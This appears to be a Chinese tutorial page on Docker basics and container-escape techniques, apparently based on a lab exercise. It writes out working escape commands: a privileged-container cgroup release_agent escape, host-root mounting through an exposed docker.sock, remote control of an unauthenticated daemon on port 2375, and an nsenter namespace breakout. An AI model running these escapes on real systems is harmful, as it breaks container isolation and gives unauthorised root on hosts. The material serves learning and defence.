当前位置: 首页 > news >正文

docker逃逸手法

docker逃逸手法

  • 基本docker操作
    • docker 命令
    • dockerfiles
    • Docker Compose
    • 漏洞利用
      • 容器漏洞

基本docker操作

docker 命令

# docker拉取
docker pull
# 指定版本拉取
docker pull ubuntu:22.04# 显示镜像可执行的操作
docker image
# 列出存储在本地系统上的所有图像
docker image ls
# 删除docker镜像
docker image rm# 运行容器
docker run <inage_name>
# 运行时进入容器终端
docker run -it helloworld /bin/bash
# docker 常见参数
docker run -d helloworld # -d参数指示容器以“分离”模式启动。这意味着容器将在后台运行。
docker run -it helloworld # 这个论点有两个部分。“i”表示交互式运行,“t”表示 Docker 在容器内运行 shell。如果我们希望在容器运行后直接与容器交互,我们将使用此选项
docker run -v /host/os/directory:/container/directory helloworld # -v参数是“Volume”的缩写,它告诉 Docker 将主机操作系统中的目录或文件挂载到容器内的某个位置。这些文件的存储位置在 Dockerfile 中定义
docker run -p 80:80 webserver # -p参数指示 Docker 将主机操作系统上的端口绑定到容器中公开的端口。如果您在容器中运行应用程序或服务(例如 Web 服务器),并希望通过导航到 IP 地址来访问应用程序/服务,则可以使用此说明。
docker run --rm helloworld # --rm参数告诉 Docker 在容器完成运行它被指示执行的任何操作后删除容器。
docker run --name helloworld # --name让我们给容器起一个友好、难忘的名字。在没有此选项的情况下运行容器时,名称是两个随机词。我们可以使用此 open 来命名容器,该容器在容器正在运行的应用程序之后。# 列出正在运行的容器
docker ps
# 列出所有的容器
docker ps -a

dockerfiles

# dockerfiles语法
from ubuntu # from指令为容器设置构建阶段,并设置基础映像(操作系统)。所有 Dockerfile 都必须从这个开始。
run whoami # run指令将在新层内的容器中执行命令。
copy /home/a/b copy指令将文件从本地系统复制到容器中的工作目录(语法类似于命令cp)。
WORKDIR / # WORKDIR指令设置容器的工作目录。(类似于在 Linux 上使用)。cd
CMD /bin/sh -c script.sh # CMD指令确定容器启动时运行哪个命令(您将使用它来启动服务或应用程序)。
EXPOSE 80 # EXPOSE指令用于告诉运行容器的人员在运行容器时应发布哪个端口。# docker构建
docker build -t helloworld ./Dockerfile
-t 命名镜像

Docker Compose

docker-compose up # 创建/构建并启动复合文件中指定的容器。
docker-compose start # 启动复合文件中指定的容器。
docker-compose down # 此命令将停止并删除复合文件中指定的容器。
docker-compose stop # 此命令将停止(而不是删除)复合文件中指定的容器
docker-compose build # 此命令将构建(但不会启动)复合文件中指定的容器Docker-compose.yml 文件
version #  它位于文件的顶部,用于标识为哪个版本的 Compose 编写docker-compose.yml
services #  此指令标志着要管理的容器的开始。
name #  在此指令中,您可以定义容器及其配置。“name”需要替换为您要定义的容器的实际名称,即“webserver”或“database”。
build #  此指令定义包含此容器/服务的 Dockerfile 的目录。(您将需要使用此图像或图像)。
ports #  此指令将端口发布到公开的端口(这取决于 image/Dockerfile)。
volumes #  此指令列出了应从主机操作系统挂载到容器中的目录。
environment #  此指令用于传递环境变量(不安全),即密码、用户名、时区配置等。
image #  此指令定义了应使用哪个映像来构建容器(您将需要使用此映像或构建该映像)。
networks #  此指令定义了容器将成为哪些网络的一部分。容器可以是多个网络的一部分(即 Web 服务器只能联系一个数据库,但数据库可以联系多个 Web 服务器)。
## 示例:version: '3.3'
services:web:build: ./webnetworks:- ecommerceports:- '80:80'database:image: mysql:latestnetworks:- ecommerceenvironment:- MYSQL_DATABASE=ecommerce- MYSQL_USERNAME=root- MYSQL_ROOT_PASSWORD=hellowordnetworks:ecommerce:

漏洞利用

容器漏洞

因容器的迁移特性,其中可能存在各种硬编码,比如拉取的web应用的数据库连接密码
同时不同的docker版本也具有不同的逃逸漏洞

特权容器

capsh --print # 列出特权Docker的功能
1. mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
2. echo 1 > /tmp/cgrp/x/notify_on_release
3. host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
4. echo "$host_path/exploit" > /tmp/cgrp/release_agent
5. echo '#!/bin/sh' > /exploit
6. echo "cat /home/cmnatic/flag.txt > $host_path/flag.txt" >> /exploit
7. chmod a+x /exploit
8. sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

通过暴露的docker守护程序进行逃逸

验证我们的用户是否属于 Docker 组
groups # 查看是否有docker字样
find / -name docker.sock # 寻找docker套接字
# 创建新容器并把宿主机挂载在新容器中
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
docker rundocker run -v /:/mnt
chroot /mnt

通过暴露的docker守护程序远程执行代码

nmap -sV -p 2375 10.10.200.38 Starting Nmap # 看docker api是否运行在2375端口并可访问
curl http://10.10.200.38:2375/version # 确认docker守护进程
docker -H tcp://10.10.200.38:2375 ps # 在目标上执行docker命令# 值得注意的命令
network ls # 用于列出容器网络
images # 列出容器使用的图像
exec # 在容器上执行命令
run # 运行容器

滥用命名空间

确定我们是否在容器中
ps aux # 查看进程数,如果数量很小则可能在容器中
# 如果在容器中看到docker类似的进程,说明doker可能可以利用滥用命名空间逃逸# 漏洞利用
nsenter --target 1 --mount --uts --ipc --net /bin/bash
# 命令解释
--target # 使用值为“1”的开关来执行我们稍后提供的 shell 命令,该命令在特殊系统进程 ID 的命名空间中执行,以获得最终的root
--mount # 指定此名称是我们提供目标进程的挂载命名空间的地方。“如果未指定文件,请输入目标进程的挂载命名空间。” 
--uts # 该开关允许我们与目标进程共享相同的 UTS 命名空间,这意味着使用相同的主机名。这很重要,因为主机名不匹配可能会导致连接问题(尤其是网络服务)
--ipc # 开关意味着我们进入进程的进程间通信命名空间,这很重要。这意味着内存可以共享
--net # 关意味着我们进入网络命名空间,这意味着我们可以与系统的网络相关功能进行交互。例如,网络接口。我们可以使用它来打开一个新的连接(例如主机上的稳定反向 shell)可能需要“Ctrl + C”来取消一次或两次漏洞利用才能使此漏洞起作用

相关文章:

docker逃逸手法

docker逃逸手法 基本docker操作docker 命令dockerfilesDocker Compose漏洞利用容器漏洞 基本docker操作 docker 命令 # docker拉取 docker pull # 指定版本拉取 docker pull ubuntu:22.04# 显示镜像可执行的操作 docker image # 列出存储在本地系统上的所有图像 docker image…...

3 pytest Fixture

3 pytest Fixture 3.1 通过 conftest.py 共享 fixture3.2 使用 fixture 执行配置及销毁逻辑3.3 使用 --setup-show 回溯 fixture 的执行过程3.4 使用 fixture 传递测试数据3.5 使用多个 fixture3.6 指定 fixture 作用范围3.7 使用 usefixtures 指定 fixture3.8 为常用 fixture …...

pinctl 和 gpio子系统驱动

一.设备树中添加pinctl节点模板 1.创建对应的节点 同一个外设的 PIN 都放到一个节点里面&#xff0c;打开 imx6ull-14x14-evk.dts&#xff0c;在 iomuxc 节点 中的“imx6ul-evk”子节点下添加 “pinctrl_test” 节点。添加完成以后如下所示&#xff1a; pinctrl_test:test_g…...

RocketMQ消息堆积了怎么解决?

RocketMQ 的消息堆积&#xff0c;一般都是因为客户端本地消费过程中&#xff0c;由于消费耗时过长或消费并发度较小等原因&#xff0c;导致客户端消费能力不足&#xff0c;出现消息堆积的问题。 当线上出现消息堆积的问题时&#xff0c;一般有以下几种方式来解决: 增加消费者…...

C++第十二弹 -- STL之list模拟实现

文章索引 前言模拟实现list1. ListNode节点类2. list的迭代器封装3. 反向迭代器4. list类的模拟实现测试代码 list的反向迭代器总结 前言 通过模拟实现可以让我们更加深刻的理解C底层STL的实现逻辑, 本篇就对list的底层进行模拟实现. 博客主页: 酷酷学!!! 点击关注 共同进步!…...

Destiny of Gods首轮测试正式开启,参与玩家数量突破10万

天神风云&#xff0c;波澜再兴&#xff0c;GameFi链游聚合平台Destiny of Gods首款同名数字卡牌回合制游戏首轮测试定档8月20日20:00&#xff08;GMT8&#xff09;&#xff0c;现已正式开启&#xff01; 这是一个由人、游灵和神灵共存的世界&#xff0c;历经蛮荒时期的纷争与信…...

QT聊天室基于Tcp

server.cpp #include "widget.h" #include "ui_widget.h"Widget::Widget(QWidget *parent): QWidget(parent), ui(new Ui::Widget),server(new QTcpServer(this)) // 给服务器指针对象实例化空间{ui->setupUi(this); }Widget::~Widget() {delete ui; }…...

公开课观后感:密歇根大学python for everyone

从2024年1月17日到2024年8月20日&#xff0c;终于将密歇根大学的python for everyone的python公开课跟完。站在一月份规划的时刻来看&#xff0c;比我想象中花费的时间更多&#xff0c;我当时肯定没有想到要花上整整七个月的时间才能将这个公开课的内容看完&#xff0c;毕竟这个…...

goweb框架-gin

文章目录 Gin框架概览Gin框架的特点Gin框架的安装和基本使用安装基本使用 路由系统路由的基本概念Gin框架路由的特点 Radix Tree&#xff08;基数树&#xff09;基数树的定义和原理基数树在Gin框架中的应用节省空间的优化动态路由和通配符处理 路由树的构建注册路由的过程路由树…...

2024年接口测试高频面试题及答案

1. 什么是接口测试&#xff1f; •接口测试就是通过测试不同情况下的入参与之相应的出参信息来判断接口是否符合或满足相应的功能性、安全性要求 •测试的重点是要检查数据的交换&#xff0c;传递和控制管理过程&#xff0c;以及系统间的相互逻辑依赖关系 2. 为什么要做接口…...

ESP32-C3在MQTT访问时出现“transport_base: Poll timeout or error”问题的分析(8)

接前一篇文章:ESP32-C3在MQTT访问时出现“transport_base: Poll timeout or error”问题的分析(7) 前边几回分析了笔者在MQTT测试时所遇到的问题: 最终定位到了是由于components\components\tcp_transport\transport_ssl.c的base_poll_write函数中调用的select函数超时返回…...

Linux: 忘记密码的解决方法,passwd

https://www.redhat.com/sysadmin/recover-root-passwd 这里的方法很简单&#xff0c;就是通过console进去&#xff0c;添加一个启动参数&#xff0c;加载sysroot&#xff0c;然后用passwd命令修改密码。这个是RHEL7适用。 https://access.redhat.com/solutions/1192 这个是提…...

36. 有效的数独【 力扣(LeetCode) 】

一、题目描述 请你判断一个 9 x 9 的数独是否有效。只需要 根据以下规则 &#xff0c;验证已经填入的数字是否有效即可。 数字 1-9 在每一行只能出现一次。 数字 1-9 在每一列只能出现一次。 数字 1-9 在每一个以粗实线分隔的 3x3 宫内只能出现一次。&#xff08;请参考示例图…...

机器学习中的没有免费午餐定理

嘿&#xff0c;各位机器学习的爱好者们&#xff01;今天&#xff0c;让我们一起深入探讨机器学习中那个神秘而又重要的概念——没有免费午餐定理。 一、定理引入&#xff1a;探索算法森林的钥匙 在广阔无垠的机器学习领域中&#xff0c;免费午餐定理就如同一把神奇的钥匙&…...

高级java每日一道面试题-2024年8月21日-框架篇[Spring篇]-使用IOC容器应该注意哪些?

如果有遗漏,评论区告诉我进行补充 面试官: 使用IOC容器应该注意哪些? 我回答: 1. 理解IOC的基本概念 控制反转&#xff1a;在传统的编程模式中&#xff0c;程序会主动控制依赖关系的创建和管理。而在IoC容器中&#xff0c;这种控制权被反转给了容器本身。程序员只需要声明…...

LLM训练推理相关概念

1. 有监督微调&#xff08;Supervised Fine-Tuning&#xff09;与指令微调&#xff08;Instruction Fine-Tuning&#xff09;对模型参数的影响 **有监督微调&#xff08;Supervised Fine-Tuning, SFT&#xff09;和指令微调&#xff08;Instruction Fine-Tuning, Instruct-Tun…...

IP in IP 协议

IP in IP 是一种多重IP协议&#xff0c;即&#xff1a;客户机可以发送一个IP协议内部在嵌套一个IP协议到某个特定的主机上&#xff0c;在由具体的主机作为路由进行转发的协议。 例如&#xff1a; IP in IP帧协议结构为&#xff0c;第一层为发送到IP in IP 路由主机的报文&…...

DAY2: HTTP请求报文和响应报文是怎样的,有哪些常见的字段?| HTTP有哪些请求方式?| GET请求和POST请求的区别

目录 HTTP请求报文和响应报文是怎样的&#xff0c;有哪些常见的字段&#xff1f; 请求报文 响应报文 HTTP有哪些请求方式&#xff1f; GET请求和POST请求的区别 HTTP请求报文和响应报文是怎样的&#xff0c;有哪些常见的字段&#xff1f; HTTP报文分为请求报文和响应报文…...

线性代数:每日一题1/特征值与相似对角化

设A, B 为二阶矩阵&#xff0c;且 AB BA , 则“A有两个不相等的特征值”是“B可对角化"的&#xff08;&#xff09; A. 充分必要条件 B. 充分不必要条件 C.必要不充分条件 D.既不充分也不必要条件 知识点&#xff1a; 特征向量与特征值的关系 相似矩阵的定义和性质 n阶…...

Android UI:PopupWindow:API

文章目录 类操作 对PopupWindow的操作 创建PopupWindow对象的操作添加并显示PopupWindow的操作移除PopupWindow的操作更新PopupWindow的操作显示内容的相关操作 布局的相关操作进入退出动画的相关操作 Transition设置进入动画的相关操作Transition设置退出动画的相关操作XML设置…...

使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式

一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明&#xff1a;假设每台服务器已…...

AI-调查研究-01-正念冥想有用吗?对健康的影响及科学指南

点一下关注吧&#xff01;&#xff01;&#xff01;非常感谢&#xff01;&#xff01;持续更新&#xff01;&#xff01;&#xff01; &#x1f680; AI篇持续更新中&#xff01;&#xff08;长期更新&#xff09; 目前2025年06月05日更新到&#xff1a; AI炼丹日志-28 - Aud…...

css实现圆环展示百分比,根据值动态展示所占比例

代码如下 <view class""><view class"circle-chart"><view v-if"!!num" class"pie-item" :style"{background: conic-gradient(var(--one-color) 0%,#E9E6F1 ${num}%),}"></view><view v-else …...

椭圆曲线密码学(ECC)

一、ECC算法概述 椭圆曲线密码学&#xff08;Elliptic Curve Cryptography&#xff09;是基于椭圆曲线数学理论的公钥密码系统&#xff0c;由Neal Koblitz和Victor Miller在1985年独立提出。相比RSA&#xff0c;ECC在相同安全强度下密钥更短&#xff08;256位ECC ≈ 3072位RSA…...

微软PowerBI考试 PL300-选择 Power BI 模型框架【附练习数据】

微软PowerBI考试 PL300-选择 Power BI 模型框架 20 多年来&#xff0c;Microsoft 持续对企业商业智能 (BI) 进行大量投资。 Azure Analysis Services (AAS) 和 SQL Server Analysis Services (SSAS) 基于无数企业使用的成熟的 BI 数据建模技术。 同样的技术也是 Power BI 数据…...

从零实现富文本编辑器#5-编辑器选区模型的状态结构表达

先前我们总结了浏览器选区模型的交互策略&#xff0c;并且实现了基本的选区操作&#xff0c;还调研了自绘选区的实现。那么相对的&#xff0c;我们还需要设计编辑器的选区表达&#xff0c;也可以称为模型选区。编辑器中应用变更时的操作范围&#xff0c;就是以模型选区为基准来…...

关于iview组件中使用 table , 绑定序号分页后序号从1开始的解决方案

问题描述&#xff1a;iview使用table 中type: "index",分页之后 &#xff0c;索引还是从1开始&#xff0c;试过绑定后台返回数据的id, 这种方法可行&#xff0c;就是后台返回数据的每个页面id都不完全是按照从1开始的升序&#xff0c;因此百度了下&#xff0c;找到了…...

电脑插入多块移动硬盘后经常出现卡顿和蓝屏

当电脑在插入多块移动硬盘后频繁出现卡顿和蓝屏问题时&#xff0c;可能涉及硬件资源冲突、驱动兼容性、供电不足或系统设置等多方面原因。以下是逐步排查和解决方案&#xff1a; 1. 检查电源供电问题 问题原因&#xff1a;多块移动硬盘同时运行可能导致USB接口供电不足&#x…...

第25节 Node.js 断言测试

Node.js的assert模块主要用于编写程序的单元测试时使用&#xff0c;通过断言可以提早发现和排查出错误。 稳定性: 5 - 锁定 这个模块可用于应用的单元测试&#xff0c;通过 require(assert) 可以使用这个模块。 assert.fail(actual, expected, message, operator) 使用参数…...

什么是EULA和DPA

文章目录 EULA&#xff08;End User License Agreement&#xff09;DPA&#xff08;Data Protection Agreement&#xff09;一、定义与背景二、核心内容三、法律效力与责任四、实际应用与意义 EULA&#xff08;End User License Agreement&#xff09; 定义&#xff1a; EULA即…...